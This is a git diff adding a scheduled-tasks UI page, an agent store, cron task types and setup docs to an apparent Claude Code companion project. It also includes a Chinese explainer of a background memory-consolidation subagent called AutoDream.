+      <main className="flex-1 flex flex-col ml-[280px] min-w-0 h-screen">
+        {/* TopAppBar */}
+        <header className="bg-[#FAF9F5] h-12 w-full flex justify-between items-center px-6 z-30">
+          <div className="flex items-center gap-8">
+            <div className="font-[Manrope,sans-serif] font-bold text-[#1B1C1A] uppercase tracking-tighter text-sm">Claude Code Companion</div>
+            <nav className="flex items-center gap-6 font-[Manrope,sans-serif] font-semibold tracking-wide text-sm">
+              <a className="text-[#87736D] hover:text-[#8F482F] transition-colors" href="#">{t('titlebar.code')}</a>
+              <a className="text-[#87736D] hover:text-[#8F482F] transition-colors" href="#">{t('titlebar.terminal')}</a>
+              <a className="text-[#1B1C1A] border-b-2 border-[#8F482F] pb-1" href="#">{t('titlebar.history')}</a>
+            </nav>
+          </div>
+          <div className="flex items-center gap-4">
+            <div className="flex items-center gap-2">
+              <button className="p-1 text-[#87736D] hover:text-[#8F482F] transition-colors cursor-pointer active:opacity-70">
+                <span className="material-symbols-outlined text-[1rem]">arrow_back_ios</span>
+              </button>
+              <button className="p-1 text-[#87736D] hover:text-[#8F482F] transition-colors cursor-pointer active:opacity-70">
+                <span className="material-symbols-outlined text-[1rem]">arrow_forward_ios</span>
+              </button>
+            </div>
+            <button className="font-[Manrope,sans-serif] font-semibold tracking-wide text-sm text-[#87736D] hover:text-[#8F482F] transition-colors cursor-pointer active:opacity-70 flex items-center gap-1">
+              <span className="material-symbols-outlined text-[1.1rem]">settings</span>
+              {t('sidebar.settings')}
+            </button>
+          </div>
+        </header>
+
+        {/* Separation Line */}
+        <div className="bg-[#F4F4F0] h-[1px] w-full"></div>
+
+        {/* Scrollable Content */}
+        <section className="flex-1 overflow-y-auto p-12 bg-[#FAF9F5]">
+          <div className="max-w-5xl mx-auto">
+            {/* Page Header */}
+            <div className="flex justify-between items-end mb-12">
+              <div className="space-y-1">
+                <h1 className="font-[Manrope,sans-serif] text-3xl font-bold tracking-tight text-[#1B1C1A]">{t('scheduledPage.title')}</h1>
+                <p className="text-[#87736D] text-sm">{t('scheduledPage.subtitle')}</p>
+              </div>
+              <button className="bg-[#8F482F] hover:bg-[#AD5F45] text-white px-5 py-2.5 rounded-lg flex items-center gap-2 transition-all shadow-sm font-medium text-sm">
+                <span className="material-symbols-outlined text-[1.1rem]">add_task</span>
+                {t('tasks.createNew')}
+              </button>
+            </div>
+
+            {/* Bento-style Summary Cards */}
+            <div className="grid grid-cols-1 md:grid-cols-3 gap-6 mb-10">
+              {/* Total Tasks */}
+              <div className="bg-[#F4F4F0] p-6 rounded-xl border border-[#DAC1BA]/10">
+                <div className="flex items-center justify-between mb-4">
+                  <span className="text-xs font-bold uppercase tracking-widest text-[#87736D]">{t('tasks.totalTasks')}</span>
+                  <span className="material-symbols-outlined text-[#8F482F]">analytics</span>
+                </div>
+                <div className="text-4xl font-[Manrope,sans-serif] font-extrabold text-[#1B1C1A]">{stats.totalTasks}</div>
+                <div className="mt-2 flex items-center gap-1 text-[10px] text-[#4F6237] font-bold bg-[#677B4E]/20 px-2 py-0.5 rounded-full w-fit">
+                  <span className="material-symbols-outlined text-[10px]">trending_up</span>
+                  {t('scheduledPage.thisMonth', { count: '+2' })}
+                </div>
+              </div>
+
+              {/* Next Run */}
+              <div className="bg-[#F4F4F0] p-6 rounded-xl border border-[#DAC1BA]/10">
+                <div className="flex items-center justify-between mb-4">
+                  <span className="text-xs font-bold uppercase tracking-widest text-[#87736D]">{t('scheduledPage.nextRun')}</span>
+                  <span className="material-symbols-outlined text-[#2D628F]">schedule</span>
+                </div>
+                <div className="text-xl font-[Manrope,sans-serif] font-bold text-[#1B1C1A]">{stats.nextRun.name}</div>
+                <p className="text-sm font-[JetBrains_Mono,monospace] text-[#2D628F] mt-1">{stats.nextRun.time}</p>
+              </div>
+
+              {/* System Health */}
+              <div className="bg-[#F4F4F0] p-6 rounded-xl border border-[#DAC1BA]/10">
+                <div className="flex items-center justify-between mb-4">
+                  <span className="text-xs font-bold uppercase tracking-widest text-[#87736D]">{t('scheduledPage.systemHealth')}</span>
+                  <span className="material-symbols-outlined text-[#4F6237]">check_circle</span>
+                </div>
+                <div className="text-4xl font-[Manrope,sans-serif] font-extrabold text-[#1B1C1A]">{stats.systemHealth}%</div>
+                <p className="text-xs text-[#87736D] mt-2 font-medium">{stats.healthPeriod}</p>
+              </div>
+            </div>
+
+            {/* Operational Tasks Table */}
+            <div className="bg-white rounded-xl overflow-hidden border border-[#DAC1BA]/20 shadow-[0_4px_20px_rgba(27,28,26,0.04)]">
+              <table className="w-full text-left border-collapse">
+                <thead>
+                  <tr className="bg-[#F4F4F0]/50">
+                    <th className="px-6 py-4 text-xs font-bold uppercase tracking-widest text-[#DAC1BA] border-b border-[#DAC1BA]/10">{t('scheduledPage.colTaskName')}</th>
+                    <th className="px-6 py-4 text-xs font-bold uppercase tracking-widest text-[#DAC1BA] border-b border-[#DAC1BA]/10">{t('scheduledPage.colFrequency')}</th>
+                    <th className="px-6 py-4 text-xs font-bold uppercase tracking-widest text-[#DAC1BA] border-b border-[#DAC1BA]/10">{t('scheduledPage.colLastResult')}</th>
+                    <th className="px-6 py-4 text-xs font-bold uppercase tracking-widest text-[#DAC1BA] border-b border-[#DAC1BA]/10">{t('scheduledPage.colNextExecution')}</th>
+                    <th className="px-6 py-4 text-xs font-bold uppercase tracking-widest text-[#DAC1BA] border-b border-[#DAC1BA]/10 text-right">{t('scheduledPage.colActions')}</th>
+                  </tr>
+                </thead>
+                <tbody className="divide-y divide-[#DAC1BA]/5">
+                  {/* Task Row 1 - Nightly linting */}
+                  <tr className="group hover:bg-[#F4F4F0]/30 transition-colors">
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-3">
+                        <div className="p-2 bg-[#FFDBD0] text-[#8F482F] rounded-lg">
+                          <span className="material-symbols-outlined text-[1.2rem]">code_blocks</span>
+                        </div>
+                        <div>
+                          <div className="font-[Manrope,sans-serif] font-bold text-[#1B1C1A] text-sm">{task0.name}</div>
+                          <div className="text-xs text-[#87736D] font-medium">Root: /projects/companion/src</div>
+                        </div>
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <span className="px-2.5 py-1 bg-[#E9E8E4] rounded-full text-xs font-semibold text-[#54433E]">{task0.frequency}</span>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-1.5 text-[#4F6237] text-xs font-bold">
+                        <span
+                          className="material-symbols-outlined text-[1rem]"
+                          style={{ fontVariationSettings: "'FILL' 1" }}
+                        >
+                          check_circle
+                        </span>
+                        {task0.lastResult}
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="font-[JetBrains_Mono,monospace] text-sm font-medium text-[#2D628F]">{task0.nextExecution}</div>
+                    </td>
+                    <td className="px-6 py-5 text-right">
+                      <div className="flex items-center justify-end gap-1 opacity-0 group-hover:opacity-100 transition-opacity">
+                        <button className="p-2 text-[#87736D] hover:text-[#8F482F] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">edit</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#BA1A1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">delete</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#1B1C1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">more_vert</span>
+                        </button>
+                      </div>
+                    </td>
+                  </tr>
+
+                  {/* Task Row 2 - Clean up temp files */}
+                  <tr className="group hover:bg-[#F4F4F0]/30 transition-colors">
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-3">
+                        <div className="p-2 bg-[#CFE5FF] text-[#094A76] rounded-lg">
+                          <span className="material-symbols-outlined text-[1.2rem]">cleaning_services</span>
+                        </div>
+                        <div>
+                          <div className="font-[Manrope,sans-serif] font-bold text-[#1B1C1A] text-sm">{task1.name}</div>
+                          <div className="text-xs text-[#87736D] font-medium">{task1.description}</div>
+                        </div>
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <span className="px-2.5 py-1 bg-[#E9E8E4] rounded-full text-xs font-semibold text-[#54433E]">{task1.frequency}</span>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-1.5 text-[#4F6237] text-xs font-bold">
+                        <span
+                          className="material-symbols-outlined text-[1rem]"
+                          style={{ fontVariationSettings: "'FILL' 1" }}
+                        >
+                          check_circle
+                        </span>
+                        {task1.lastResult}
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="font-[JetBrains_Mono,monospace] text-sm font-medium text-[#2D628F]">{task1.nextExecution}</div>
+                    </td>
+                    <td className="px-6 py-5 text-right">
+                      <div className="flex items-center justify-end gap-1 opacity-0 group-hover:opacity-100 transition-opacity">
+                        <button className="p-2 text-[#87736D] hover:text-[#8F482F] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">edit</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#BA1A1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">delete</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#1B1C1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">more_vert</span>
+                        </button>
+                      </div>
+                    </td>
+                  </tr>
+
+                  {/* Task Row 3 - Database Vacuum */}
+                  <tr className="group hover:bg-[#F4F4F0]/30 transition-colors">
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-3">
+                        <div className="p-2 bg-[#D4EAB4] text-[#3B4C24] rounded-lg">
+                          <span className="material-symbols-outlined text-[1.2rem]">database</span>
+                        </div>
+                        <div>
+                          <div className="font-[Manrope,sans-serif] font-bold text-[#1B1C1A] text-sm">{task2.name}</div>
+                          <div className="text-xs text-[#87736D] font-medium">{task2.description}</div>
+                        </div>
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <span className="px-2.5 py-1 bg-[#E9E8E4] rounded-full text-xs font-semibold text-[#54433E]">Monthly</span>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="flex items-center gap-1.5 text-[#BA1A1A] text-xs font-bold">
+                        <span
+                          className="material-symbols-outlined text-[1rem]"
+                          style={{ fontVariationSettings: "'FILL' 1" }}
+                        >
+                          error
+                        </span>
+                        {task2.lastResult}
+                      </div>
+                    </td>
+                    <td className="px-6 py-5">
+                      <div className="font-[JetBrains_Mono,monospace] text-sm font-medium text-[#2D628F]">{task2.nextExecution}</div>
+                    </td>
+                    <td className="px-6 py-5 text-right">
+                      <div className="flex items-center justify-end gap-1 opacity-0 group-hover:opacity-100 transition-opacity">
+                        <button className="p-2 text-[#87736D] hover:text-[#8F482F] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">edit</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#BA1A1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">delete</span>
+                        </button>
+                        <button className="p-2 text-[#87736D] hover:text-[#1B1C1A] transition-colors">
+                          <span className="material-symbols-outlined text-[1.1rem]">more_vert</span>
+                        </button>
+                      </div>
+                    </td>
+                  </tr>
+                </tbody>
+              </table>
+
+              {/* End of list placeholder */}
+              <div className="p-12 text-center border-t border-[#DAC1BA]/10">
+                <div className="inline-flex items-center justify-center w-12 h-12 rounded-full bg-[#F4F4F0] mb-4">
+                  <span className="material-symbols-outlined text-[#87736D]">history_toggle_off</span>
+                </div>
+                <h3 className="font-[Manrope,sans-serif] font-bold text-[#1B1C1A] text-base">{t('scheduledPage.endOfList')}</h3>
+                <p className="text-sm text-[#87736D] max-w-xs mx-auto mt-1">{t('scheduledPage.pausedTasks')}</p>
+              </div>
+            </div>
+
+            {/* System Logs / Details Panel */}
+            <div className="mt-12 flex flex-col md:flex-row gap-8 items-start">
+              {/* Recent Output Logs */}
+              <div className="flex-1 space-y-6">
+                <h2 className="font-[Manrope,sans-serif] text-lg font-bold text-[#1B1C1A]">{t('scheduledPage.recentLogs')}</h2>
+                <div className="bg-[#DBDAD6] rounded-xl p-6 font-[JetBrains_Mono,monospace] text-[13px] leading-relaxed text-[#54433E] overflow-x-auto shadow-inner">
+                  <div className="flex gap-4 opacity-50 mb-1">
+                    <span className="w-32 shrink-0">2023-11-10 23:01</span>
+                    <span className="text-[#4F6237]">[INFO]</span>
+                    <span>Nightly linting started for repository: companion-main</span>
+                  </div>
+                  <div className="flex gap-4 mb-1">
+                    <span className="w-32 shrink-0">2023-11-10 23:04</span>
+                    <span className="text-[#4F6237]">[INFO]</span>
+                    <span>Processed 1,422 files. No critical issues found.</span>
+                  </div>
+                  <div className="flex gap-4 mb-1">
+                    <span className="w-32 shrink-0">2023-11-10 23:04</span>
+                    <span className="text-[#094A76]">[WARN]</span>
+                    <span className="italic">Found 12 deprecated calls in /legacy/utils.js</span>
+                  </div>
+                  <div className="flex gap-4 mb-1">
+                    <span className="w-32 shrink-0">2023-11-10 23:05</span>
+                    <span className="text-[#4F6237]">[INFO]</span>
+                    <span>Task completed successfully in 242.4s.</span>
+                  </div>
+                  <div className="mt-4 pt-4 border-t border-[#DAC1BA]/20 flex items-center justify-between">
+                    <span className="text-[11px] uppercase tracking-tighter opacity-50">Log stream: active</span>
+                    <button className="text-[#8F482F] font-bold text-xs hover:underline">{t('scheduledPage.viewArtifacts')}</button>
+                  </div>
+                </div>
+              </div>
+
+              {/* Resource Allocation Panel */}
+              <div className="w-full md:w-80 shrink-0">
+                <div className="bg-[#AD5F45]/10 p-6 rounded-xl border border-[#8F482F]/10">
+                  <h3 className="font-[Manrope,sans-serif] font-bold text-[#8F482F] text-sm mb-3">{t('scheduledPage.resourceAllocation')}</h3>
+                  <div className="space-y-4">
+                    <div className="space-y-1">
+                      <div className="flex justify-between text-[11px] font-bold text-[#87736D] uppercase tracking-wider">
+                        <span>{t('scheduledPage.cpuCapacity')}</span>
+                        <span>42%</span>
+                      </div>
+                      <div className="w-full h-1 bg-[#DAC1BA]/30 rounded-full overflow-hidden">
+                        <div className="h-full bg-[#8F482F]" style={{ width: '42%' }}></div>
+                      </div>
+                    </div>
+                    <div className="space-y-1">
+                      <div className="flex justify-between text-[11px] font-bold text-[#87736D] uppercase tracking-wider">
+                        <span>{t('scheduledPage.memoryLoad')}</span>
+                        <span>68%</span>
+                      </div>
+                      <div className="w-full h-1 bg-[#DAC1BA]/30 rounded-full overflow-hidden">
+                        <div className="h-full bg-[#2D628F]" style={{ width: '68%' }}></div>
+                      </div>
+                    </div>
+                  </div>
+                  <div className="mt-6">
+                    <div className="w-full h-24 rounded-lg bg-gradient-to-br from-[#FFDBD0] via-[#FFB59D]/40 to-[#DAC1BA]/20"></div>
+                  </div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </section>
+
+        {/* Footer */}
+        <footer className="bg-[#FAF9F5] border-t border-[#87736D]/20 fixed bottom-0 left-0 w-full h-8 flex items-center justify-between px-4 z-50">
+          <div className="flex items-center gap-4">
+            <span className="font-[Inter,sans-serif] text-xs tracking-tight text-[#87736D]">{mockStatusBar.user} &bull; {mockStatusBar.username} &bull; {mockStatusBar.plan}</span>
+            <div className="h-3 w-[1px] bg-[#87736D]/30"></div>
+            <div className="flex items-center gap-2">
+              <span
+                className="material-symbols-outlined text-[10px] text-[#4F6237]"
+                style={{ fontVariationSettings: "'FILL' 1" }}
+              >
+                fiber_manual_record
+              </span>
+              <span className="font-[Inter,sans-serif] text-xs tracking-tight text-[#1B1C1A]">{t('scheduledPage.connectedLocal')}</span>
+            </div>
+          </div>
+          <div className="flex items-center gap-6">
+            <button className="font-[Inter,sans-serif] text-xs tracking-tight text-[#87736D] hover:bg-[#F4F4F0] px-2 py-0.5 rounded transition-colors flex items-center gap-1">
+              <span className="material-symbols-outlined text-[12px]">account_tree</span>
+              {mockStatusBar.branch}
+            </button>
+            <button className="font-[Inter,sans-serif] text-xs tracking-tight text-[#87736D] hover:bg-[#F4F4F0] px-2 py-0.5 rounded transition-colors flex items-center gap-1">
+              <span className="material-symbols-outlined text-[12px]">layers</span>
+              {mockStatusBar.worktreeToggle}
+            </button>
+            <button className="font-[Inter,sans-serif] text-xs tracking-tight text-[#8F482F] font-bold hover:bg-[#F4F4F0] px-2 py-0.5 rounded transition-colors flex items-center gap-1">
+              <span className="material-symbols-outlined text-[12px]">toggle_on</span>
+              {mockStatusBar.localSwitch}
+            </button>
+          </div>
+        </footer>
+      </main>
+    </div>
+  )
+}
diff --git a/_all-in-one-upload/cc-haha/desktop/src/stores/agentStore.ts b/_all-in-one-upload/cc-haha/desktop/src/stores/agentStore.ts
new file mode 100644
index 0000000..580bda1
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/stores/agentStore.ts
@@ -0,0 +1,45 @@
+import { create } from 'zustand'
+import { agentsApi, type AgentDefinition } from '../api/agents'
+
+export type AgentDetailReturnTab = 'agents' | 'plugins'
+
+type AgentStore = {
+  activeAgents: AgentDefinition[]
+  allAgents: AgentDefinition[]
+  isLoading: boolean
+  error: string | null
+  selectedAgent: AgentDefinition | null
+  selectedAgentReturnTab: AgentDetailReturnTab
+
+  fetchAgents: (cwd?: string) => Promise<void>
+  selectAgent: (
+    agent: AgentDefinition | null,
+    returnTab?: AgentDetailReturnTab,
+  ) => void
+}
+
+export const useAgentStore = create<AgentStore>((set) => ({
+  activeAgents: [],
+  allAgents: [],
+  isLoading: false,
+  error: null,
+  selectedAgent: null,
+  selectedAgentReturnTab: 'agents',
+
+  fetchAgents: async (cwd) => {
+    set({ isLoading: true, error: null })
+    try {
+      const { activeAgents, allAgents } = await agentsApi.list(cwd)
+      set({ activeAgents, allAgents, isLoading: false })
+    } catch (error) {
+      const message = error instanceof Error ? error.message : 'Failed to load agents'
+      set({ isLoading: false, error: message })
+    }
+  },
+
+  selectAgent: (agent, returnTab = 'agents') =>
+    set({
+      selectedAgent: agent,
+      selectedAgentReturnTab: agent ? returnTab : 'agents',
+    }),
+}))
diff --git a/_all-in-one-upload/cc-haha/desktop/src/types/task.ts b/_all-in-one-upload/cc-haha/desktop/src/types/task.ts
new file mode 100644
index 0000000..9ccbbba
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src/types/task.ts
@@ -0,0 +1,56 @@
+// Source: src/server/services/cronService.ts
+
+export type TaskNotificationConfig = {
+  enabled: boolean
+  channels: ('telegram' | 'feishu')[]
+}
+
+export type CronTask = {
+  id: string
+  name: string
+  description?: string
+  cron: string
+  prompt: string
+  enabled: boolean
+  recurring?: boolean
+  permanent?: boolean
+  createdAt: number
+  lastRunAt?: number
+  lastFiredAt?: string
+  nextRunAt?: number
+  permissionMode?: string
+  model?: string
+  folderPath?: string
+  useWorktree?: boolean
+  notification?: TaskNotificationConfig
+}
+
+export type CreateTaskInput = {
+  name: string
+  description?: string
+  cron: string
+  prompt: string
+  enabled?: boolean
+  recurring?: boolean
+  permanent?: boolean
+  permissionMode?: string
+  model?: string
+  folderPath?: string
+  useWorktree?: boolean
+  notification?: TaskNotificationConfig
+}
+
+export type TaskRun = {
+  id: string
+  taskId: string
+  taskName: string
+  startedAt: string
+  completedAt?: string
+  status: 'running' | 'completed' | 'failed' | 'timeout'
+  prompt: string
+  output?: string
+  error?: string
+  exitCode?: number
+  durationMs?: number
+  sessionId?: string
+}
diff --git a/_all-in-one-upload/cc-haha/docs/agent/images/.syncthing.12-agent-core-loop.png.tmp b/_all-in-one-upload/cc-haha/docs/agent/images/.syncthing.12-agent-core-loop.png.tmp
new file mode 100644
index 0000000..9ba8cb6
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/agent/images/.syncthing.12-agent-core-loop.png.tmp differ
diff --git a/_all-in-one-upload/cc-haha/docs/agent/images/06-context-passing.png b/_all-in-one-upload/cc-haha/docs/agent/images/06-context-passing.png
new file mode 100644
index 0000000..26d4d45
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/agent/images/06-context-passing.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/channel/images/03-access-control.png b/_all-in-one-upload/cc-haha/docs/channel/images/03-access-control.png
new file mode 100644
index 0000000..c97b20f
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/channel/images/03-access-control.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/en/guide/faq.md b/_all-in-one-upload/cc-haha/docs/en/guide/faq.md
new file mode 100644
index 0000000..46be288
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/docs/en/guide/faq.md
@@ -0,0 +1,34 @@
+# FAQ
+
+
+## Q: `undefined is not an object (evaluating 'usage.input_tokens')`
+
+**Cause**: `ANTHROPIC_BASE_URL` is misconfigured. The API endpoint is returning HTML or another non-JSON format instead of a valid Anthropic protocol response.
+
+This project uses the **Anthropic Messages API protocol**. `ANTHROPIC_BASE_URL` must point to an endpoint compatible with Anthropic's `/v1/messages` interface. The Anthropic SDK automatically appends `/v1/messages` to the base URL, so:
+
+- MiniMax: `ANTHROPIC_BASE_URL=https://api.minimaxi.com/anthropic` ✅
+- OpenRouter: `ANTHROPIC_BASE_URL=https://openrouter.ai/api` ✅
+- OpenRouter (wrong): `ANTHROPIC_BASE_URL=https://openrouter.ai/anthropic` ❌ (returns HTML)
+
+If your model provider only supports the OpenAI protocol, you need a proxy like LiteLLM for protocol translation. See the [Third-Party Models Guide](./third-party-models.md).
+
+## Q: `Cannot find package 'bundle'`
+
+```
+error: Cannot find package 'bundle' from '.../claude-code-haha/src/entrypoints/cli.tsx'
+```
+
+**Cause**: Your Bun version is too old and doesn't support the required `bun:bundle` built-in module.
+
+**Fix**: Upgrade Bun to the latest version:
+
+```bash
+bun upgrade
+```
+
+## Q: How to use OpenAI / DeepSeek / Ollama or other non-Anthropic models?
+
+This project only supports the Anthropic protocol. If your model provider doesn't natively support the Anthropic protocol, you need a proxy like [LiteLLM](https://github.com/BerriAI/litellm) for protocol translation (OpenAI → Anthropic).
+
+See the [Third-Party Models Guide](./third-party-models.md) for detailed setup instructions.
diff --git a/_all-in-one-upload/cc-haha/docs/en/memory/images/05-architecture-overview.png b/_all-in-one-upload/cc-haha/docs/en/memory/images/05-architecture-overview.png
new file mode 100644
index 0000000..a4dca2b
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/en/memory/images/05-architecture-overview.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/guide/quick-start.md b/_all-in-one-upload/cc-haha/docs/guide/quick-start.md
new file mode 100644
index 0000000..fb262d6
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/docs/guide/quick-start.md
@@ -0,0 +1,64 @@
+# 快速开始
+
+## 1. 安装 Bun
+
+```bash
+# macOS / Linux
+curl -fsSL https://bun.sh/install | bash
+
+# macOS (Homebrew)
+brew install bun
+
+# Windows (PowerShell)
+powershell -c "irm bun.sh/install.ps1 | iex"
+```
+
+> 精简版 Linux 如提示 `unzip is required`，先运行 `apt update && apt install -y unzip`
+
+## 2. 安装依赖并配置
+
+```bash
+bun install
+cp .env.example .env
+# 编辑 .env 填入你的 API Key，详见「环境变量」文档
+```
+
+环境变量的完整说明请参考 [环境变量配置](./env-vars.md)。
+
+## 3. 启动
+
+### macOS / Linux
+
+```bash
+./bin/claude-haha                          # 交互 TUI 模式
+./bin/claude-haha -p "your prompt here"    # 无头模式
+./bin/claude-haha --help                   # 查看所有选项
+```
+
+### Windows
+
+> **前置要求**：必须安装 [Git for Windows](https://git-scm.com/download/win)
+
+```powershell
+# PowerShell / cmd 直接调用 Bun
+bun --env-file=.env ./src/entrypoints/cli.tsx
+
+# 或在 Git Bash 中运行
+./bin/claude-haha
+```
+
+## 4. 全局使用（可选）
+
+将 `bin/` 加入 PATH 后可在任意目录启动，详见 [全局使用指南](./global-usage.md)：
+
+```bash
+export PATH="$HOME/path/to/claude-code-haha/bin:$PATH"
+```
+
+## 5. 降级模式
+
+如果 Ink TUI 出现问题，可以使用降级 Recovery CLI 模式：
+
+```bash
+CLAUDE_CODE_FORCE_RECOVERY_CLI=1 ./bin/claude-haha
+```
diff --git a/_all-in-one-upload/cc-haha/docs/images/desktop_ui/09_slash_command.png b/_all-in-one-upload/cc-haha/docs/images/desktop_ui/09_slash_command.png
new file mode 100644
index 0000000..8cf3824
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/images/desktop_ui/09_slash_command.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/images/im/feishu/03-dev-console.png b/_all-in-one-upload/cc-haha/docs/images/im/feishu/03-dev-console.png
new file mode 100644
index 0000000..8e08efa
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/images/im/feishu/03-dev-console.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/images/im/feishu/07-menu-clear.png b/_all-in-one-upload/cc-haha/docs/images/im/feishu/07-menu-clear.png
new file mode 100644
index 0000000..3e24c63
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/images/im/feishu/07-menu-clear.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/images/im/telegram/03-bot-token.png b/_all-in-one-upload/cc-haha/docs/images/im/telegram/03-bot-token.png
new file mode 100644
index 0000000..c07e983
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/images/im/telegram/03-bot-token.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/images/logo-horizontal.png b/_all-in-one-upload/cc-haha/docs/images/logo-horizontal.png
new file mode 100644
index 0000000..e1cc11e
Binary files /dev/null and b/_all-in-one-upload/cc-haha/docs/images/logo-horizontal.png differ
diff --git a/_all-in-one-upload/cc-haha/docs/memory/03-autodream.md b/_all-in-one-upload/cc-haha/docs/memory/03-autodream.md
new file mode 100644
index 0000000..c58f817
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/docs/memory/03-autodream.md
@@ -0,0 +1,316 @@
+# Claude Code 记忆系统 — AutoDream 记忆整合
+
+> Claude 会"做梦"——在后台静默回顾近期会话，整合、更新、修剪记忆，就像人类睡眠中整理白天的记忆一样。
+
+<p align="center">
+<a href="#一什么是-autodream">AutoDream</a> · <a href="#二触发条件">触发条件</a> · <a href="#三四阶段整合流程">整合流程</a> · <a href="#四安全限制">安全限制</a> · <a href="#五ui-展示">UI 展示</a> · <a href="#六配置与开关">配置开关</a> · <a href="#七与-extractmemories-的关系">对比</a> · <a href="#八源码导航">源码导航</a>
+</p>
+
+![AutoDream 概览](./images/11-autodream-overview.png)
+
+---
+
+## 一、什么是 AutoDream？
+
+AutoDream 是 Claude Code 的 **后台记忆整合机制**，内部代号 **"Dream: Memory Consolidation"**。
+
+核心隐喻：
+
+| 人类 | Claude Code |
+|------|-------------|
+| 白天随手记笔记 | `extractMemories` — 每次对话后提取新记忆 |
+| 晚上睡觉时整理笔记本 | `autoDream` — 定期回顾多个会话，整合全部记忆 |
+
+当你不活跃时（默认间隔 24 小时、积累 5 个会话后），Claude 会在后台静默启动一个 **"做梦"子智能体**（forked subagent），回顾所有近期会话记录，将零散的记忆整合为结构化的、去重的、去过时的持久化知识。
+
+**关键源码**：`src/services/autoDream/autoDream.ts`
+
+```typescript
+// Background memory consolidation. Fires the /dream prompt as a forked
+// subagent when time-gate passes AND enough sessions have accumulated.
+```
+
+---
+
+## 二、触发条件
+
+![AutoDream 触发流程](./images/12-autodream-trigger.png)
+
+AutoDream 采用 **五重门控** 机制，按开销从低到高逐级检查：
+
+### 门控链
+
+| 序号 | 门控 | 说明 | 开销 |
+|------|------|------|------|
+| 1 | **功能开关** | `isAutoDreamEnabled()` + 非 KAIROS + 非远程模式 + autoMemory 已启用 | 内存读取 |
+| 2 | **时间门控** | 距上次整合 >= `minHours`（默认 24h） | 1 次 stat |
+| 3 | **扫描节流** | 上次扫描后至少等 10 分钟再重新扫描 | 时间戳比较 |
+| 4 | **会话门控** | 自上次整合后至少 `minSessions` 个新会话（默认 5 个，排除当前） | 目录扫描 |
+| 5 | **锁门控** | 没有其他进程正在做梦（PID 锁文件） | stat + read |
+
+**关键源码** `src/services/autoDream/autoDream.ts:63-66`：
+
+```typescript
+const DEFAULTS: AutoDreamConfig = {
+  minHours: 24,      // 距离上次整合至少 24 小时
+  minSessions: 5,    // 期间至少积累了 5 个会话
+}
+```
+
+### 扫描节流
+
+当时间门控通过但会话门控未通过时，锁文件的 mtime 不会更新，导致时间门控在后续每个 turn 都会通过。为避免频繁的目录扫描，设有 **10 分钟的扫描节流**：
+
+```typescript
+const SESSION_SCAN_INTERVAL_MS = 10 * 60 * 1000
+```
+
+### 执行入口
+
+AutoDream 在每次 AI 回复完成后的 stop hook 阶段被触发（fire-and-forget，不阻塞主线程）：
+
+**关键源码** `src/query/stopHooks.ts:154-156`：
+
+```typescript
+if (!toolUseContext.agentId) {
+  void executeAutoDream(stopHookContext, toolUseContext.appendSystemMessage)
+}
+```
+
+### 阻止条件
+
+以下情况不会触发 AutoDream：
+
+- **KAIROS 模式**：使用独立的 disk-skill dream
+- **远程模式**：`getIsRemoteMode() === true`
+- **autoMemory 未启用**
+- **`--bare` / SIMPLE 模式**
+- **子代理内**：只有主代理才触发
+
+---
+
+## 三、四阶段整合流程
+
+![AutoDream 四阶段流程](./images/13-autodream-phases.png)
+
+一旦所有门控通过，AutoDream 启动一个 **分叉子智能体**，按照 `consolidationPrompt.ts` 定义的 4 阶段提示词工作：
+
+### Phase 1 — Orient（定向）
+
+```
+- ls 记忆目录，查看已有文件
+- 读取 MEMORY.md 索引，理解当前知识结构
+- 浏览现有主题文件，避免创建重复
+- 如存在 logs/ 或 sessions/ 子目录，检查最近条目
+```
+
+### Phase 2 — Gather recent signal（收集近期信号）
+
+按优先级从高到低搜集信息：
+
+1. **Daily logs** — `logs/YYYY/MM/YYYY-MM-DD.md`（追加流日志）
+2. **漂移的记忆** — 与代码库现状矛盾的旧事实
+3. **会话记录搜索** — 用 `grep` 在 JSONL 转录文件中窄范围检索
+
+```
